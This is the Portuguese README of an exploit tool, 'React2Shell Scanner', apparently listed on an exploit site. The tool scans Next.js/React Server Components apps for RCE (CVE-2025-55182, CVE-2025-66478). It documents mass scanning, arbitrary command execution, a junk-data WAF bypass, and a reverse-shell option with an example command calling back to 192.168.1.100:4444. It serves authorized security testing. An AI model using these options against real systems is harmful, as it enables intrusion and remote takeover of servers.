## https://sploitus.com/exploit?id=705F3960-9239-5C0F-A641-C1728BD62C2E
# React2Shell Scanner
High Fidelity Detection for RSC/Next.js RCE
Scanner para detecção de vulnerabilidades de Remote Code Execution (RCE) em aplicações React Server Components e Next.js.
## Sobre
O React2Shell Scanner é uma ferramenta especializada para identificar vulnerabilidades de execução remota de código (RCE) em aplicações que utilizam React Server Components (RSC) e Next.js. A ferramenta detecta vulnerabilidades relacionadas aos seguintes CVEs:
- CVE-2025-55182
- CVE-2025-66478
A ferramenta realiza verificações de alta fidelidade utilizando side-channel detection e proof-of-concept de RCE, com capacidade de extrair resultados dinâmicos de comandos executados através do parse automático das respostas HTTP.
Esta é uma versão editada por @imguimoraes do scanner original desenvolvido pela Assetnote Security Research Team. O PoC RCE original foi criado por @maple3142.
## Características
- Detecção de alta fidelidade usando side-channel e PoC RCE
- Execução multi-threaded para scan em massa
- Extração dinâmica de resultados de comandos executados (parse automático de headers e corpo da resposta)
- WAF bypass com dados aleatórios configuráveis
- Suporte para Windows (PowerShell) e Linux/Unix (shell)
- Output em JSON estruturado para análise posterior
- Seguimento automático de redirects
- Interface com progress bar e output colorido
## Instalação
### Requisitos
- Python 3.8 ou superior
- pip (gerenciador de pacotes Python)
### Instalação de Dependências
```bash
pip install requests tqdm
```
Ou usando o arquivo requirements.txt:
```bash
pip install -r requirements.txt
```
## Uso
### Sintaxe Básica
```
python scanner.py [-u URL | -l FILE] [opções]
```
### Verificar uma única URL
```bash
python scanner.py -u https://example.com
```
### Verificar múltiplas URLs
```bash
python scanner.py -l hosts.txt
```
## Opções de Linha de Comando
### Opções de Entrada (obrigatório uma delas)
| Opção | Descrição |
|-------|-----------|
| `-u, --url URL` | URL ou host único para verificar |
| `-l, --list FILE` | Arquivo contendo lista de hosts (um por linha) |
### Opções de Execução
| Opção | Descrição |
|-------|-----------|
| `-t, --threads N` | Número de threads concorrentes (padrão: 10) |
| `--timeout SECONDS` | Timeout das requisições em segundos (padrão: 10) |
| `-k, --insecure` | Desabilitar verificação de certificado SSL (habilitado por padrão) |
### Opções de Output
| Opção | Descrição |
|-------|-----------|
| `-o, --output FILE` | Arquivo de saída para resultados em formato JSON |
| `--all-results` | Salvar todos os resultados no arquivo, não apenas vulneráveis |
| `-v, --verbose` | Output verboso (mostra snippets de resposta para análise) |
| `-q, --quiet` | Modo silencioso (mostra apenas hosts vulneráveis) |
| `--no-color` | Desabilitar output colorido |
### Opções de Headers
| Opção | Descrição |
|-------|-----------|
| `-H, --header "Key: Value"` | Adicionar header HTTP customizado (pode ser usado múltiplas vezes) |
### Opções de Exploit
| Opção | Descrição |
|-------|-----------|
| `--safe-check` | Usar detecção side-channel segura ao invés de PoC RCE (não executa código) |
| `--windows` | Usar payload PowerShell ao invés de shell Unix (para ambientes Windows) |
| `--waf-bypass` | Adicionar dados aleatórios ao payload para bypass de WAF (padrão: 128KB) |
| `--waf-bypass-size KB` | Tamanho dos dados aleatórios em KB para bypass de WAF (padrão: 128) |
| `--payload COMMAND` | Comando customizado para executar no RCE (padrão: `echo $((41*271))`) |
| `--reverse-shell IP:PORT` | Criar conexão reverse shell para IP:PORT especificado |
## Exemplos de Uso
### Exemplo 1: Scan básico de um host
```bash
python scanner.py -u https://target.com
```
### Exemplo 2: Scan em massa com múltiplas threads
```bash
python scanner.py -l targets.txt -t 50 --timeout 15
```
### Exemplo 3: Scan com output em JSON
```bash
python scanner.py -l targets.txt -o results.json --all-results
```
### Exemplo 4: Scan com headers customizados
```bash
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
```
### Exemplo 5: Scan com payload customizado
```bash
python scanner.py -u https://target.com --payload "whoami"
```
### Exemplo 6: Scan com WAF bypass
```bash
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
```
### Exemplo 7: Scan em ambiente Windows
```bash
python scanner.py -u https://target.com --windows --payload "whoami"
```
### Exemplo 8: Scan com safe check (não invasivo)
```bash
python scanner.py -l targets.txt --safe-check
```
### Exemplo 9: Scan verboso completo
```bash
python scanner.py -l targets.txt -v --all-results -o full_scan.json
```
### Exemplo 10: Estabelecer reverse shell
```bash
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
```
## Formato de Output
### Output no Terminal
O scanner exibe resultados com códigos de cores indicando o status:
- **[VULNERABLE]** - Host vulnerável (vermelho)
- **[NOT VULNERABLE]** - Host não vulnerável (verde)
- **[ERROR]** - Erro durante a verificação (amarelo)
Para hosts vulneráveis, o resultado do comando executado é exibido quando disponível através da extração automática do header `X-Action-Redirect` ou do corpo da resposta.
### Formato JSON
Quando a opção `-o` é utilizada, o output é salvo em formato JSON com a seguinte estrutura:
```json
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
```
**Campos do resultado:**
- `vulnerable`: `true` se vulnerável, `false` se não vulnerável, `null` se ocorreu erro
- `command_result`: Resultado do comando executado extraído da resposta (quando disponível)
- `final_url`: URL final testada (após seguimento de redirects se habilitado)
- `status_code`: Código HTTP da resposta
- `request`: Requisição HTTP completa enviada
- `response`: Resposta HTTP recebida (primeiros 2000 caracteres)
- `error`: Mensagem de erro se houver
- `timestamp`: Timestamp UTC da verificação
## Funcionalidades Técnicas
### Métodos de Detecção
O scanner oferece dois métodos de detecção:
1. **Safe Check** (`--safe-check`): Detecção side-channel não invasiva que verifica padrões de erro na resposta sem executar código. Útil para scan inicial sem impacto.
2. **RCE PoC**: Execução real de código remoto com extração dinâmica dos resultados. Utiliza payloads baseados em Node.js child_process para execução de comandos do sistema.
### Extração de Resultados
O scanner realiza parse automático das respostas HTTP para extrair resultados de comandos executados:
- Extração do header `X-Action-Redirect` (formato: `NEXT_REDIRECT;push;/login?a=;307;`)
- Extração do corpo da resposta (formato: `E{"digest":""}` ou `1:E{"digest":""}`)
- Funciona com qualquer comando/payload customizado através do parâmetro `--payload`
A extração é realizada dinamicamente, não dependendo de valores fixos, permitindo validar a execução de qualquer comando.
### WAF Bypass
Quando a opção `--waf-bypass` é utilizada:
- Adiciona dados aleatórios (junk data) ao início do payload multipart/form-data
- Tamanho configurável através de `--waf-bypass-size` (padrão: 128KB)
- Útil para contornar filtros de WAF que inspecionam conteúdo do request body
- Timeout é automaticamente aumentado para 20 segundos quando WAF bypass está ativo
### Payloads Customizados
O parâmetro `--payload` permite especificar qualquer comando a ser executado:
- Padrão: `echo $((41*271))` (resultado: 11111)
- Windows: Use comandos PowerShell quando `--windows` estiver ativo
- Linux/Unix: Use comandos shell padrão
O resultado do comando é automaticamente extraído e exibido, independente do valor retornado.
### Reverse Shell
A opção `--reverse-shell` permite estabelecer uma conexão reverse shell:
- Formato: `IP:PORT` (exemplo: `192.168.1.100:4444`)
- Utiliza Node.js net e child_process modules
- Para Windows: spawna `powershell.exe`
- Para Linux/Unix: spawna `/bin/sh`
## Avisos Legais e Éticos
Esta ferramenta é destinada exclusivamente para fins educacionais e testes de segurança autorizados.
- Use apenas em sistemas que você possui ou possui permissão explícita e por escrito para testar
- O uso não autorizado desta ferramenta é ilegal e pode resultar em responsabilização criminal
- Os desenvolvedores não assumem qualquer responsabilidade pelo uso indevido desta ferramenta
- Sempre obtenha autorização escrita antes de realizar testes de penetração
- Respeite as leis e regulamentações aplicáveis em sua jurisdição
## Créditos
### Exploit Original
O exploit RCE original foi criado por [@maple3142](https://x.com/maple3142).
### Scanner Original
O scanner original foi desenvolvido pela **Assetnote Security Research Team**:
- Repositório: https://github.com/assetnote/react2shell-scanner/
- Website: https://www.assetnote.io/
### Esta Versão
Esta versão editada mantém as funcionalidades do scanner original com melhorias adicionais:
- Extração dinâmica de resultados de comandos (parse automático de respostas)
- Suporte a comandos customizados com extração de resultados
- Remoção do Vercel Bypass (Patched in ??/??/2025)
- Sistema de Reverse Shell (Crash-Friendly)
Editado por: [guiimoraes](https://github.com/guiimoraes)
### CVEs Relacionados
- CVE-2025-55182
- CVE-2025-66478
Se encontrar bugs ou tiver sugestões de melhorias, por favor abra uma issue no repositório descrevendo o problema de forma detalhada.